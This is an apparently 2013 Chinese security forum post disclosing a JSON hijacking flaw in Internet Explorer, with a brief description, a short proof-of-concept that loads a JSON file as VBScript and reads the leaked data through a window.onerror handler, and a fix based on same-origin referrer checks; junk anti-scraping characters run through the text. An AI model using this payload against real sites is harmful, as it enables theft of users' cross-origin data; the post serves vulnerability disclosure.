找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2260|回复: 0
打印 上一主题 下一主题

IE通用JSON劫持漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:57 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:
, p$ Y- L. ]0 q
* _/ `$ ]# k( z由于某些资源容器对数据处理不当导致json劫持漏洞.
0 _: z; h( U& N& O- x" v详细说明:
, e$ U4 y8 z) v: X由于ie支持vbscript,所以script元素可以指定成vbscript语言:9 U+ \1 o2 d" R! e* Y
<script language=vbscript></script>3 Q% j. L# w6 ]0 b0 K8 ~0 v; n

2 m8 R2 K: ~" l: x) b- s当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.# g- r$ p3 u" X- m) r; _
漏洞证明:
% j! e) f" a$ Y<script>4 F( O" F9 X, r) `, {
window.onerror=function(_){( a8 Z! V' v) S, G6 k2 c
alert(_)' b$ R* x" Q6 G' h* g' j3 |  z
}; P- ]8 t5 l' P+ ~
</script>" w% Q; }& Z4 c3 v" H, ]
<script language=vbscript src=1.json></script>8 r" h4 X3 |. V# J& F

) Z* o% ^+ u  |' l- N% M . y% W- e0 X2 X  s$ q8 S7 v" W
1.json:
$ w$ {3 P. K7 m" d" x% S[{"name":"sogili","age":19}]8 I3 }. p( m" w' u& C2 b2 W
修复方案:
' m/ {& ~2 ]! d+ y& m  G) e9 ?网站业务对于这个问题可以通过验证referrer是否为同源来防御
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表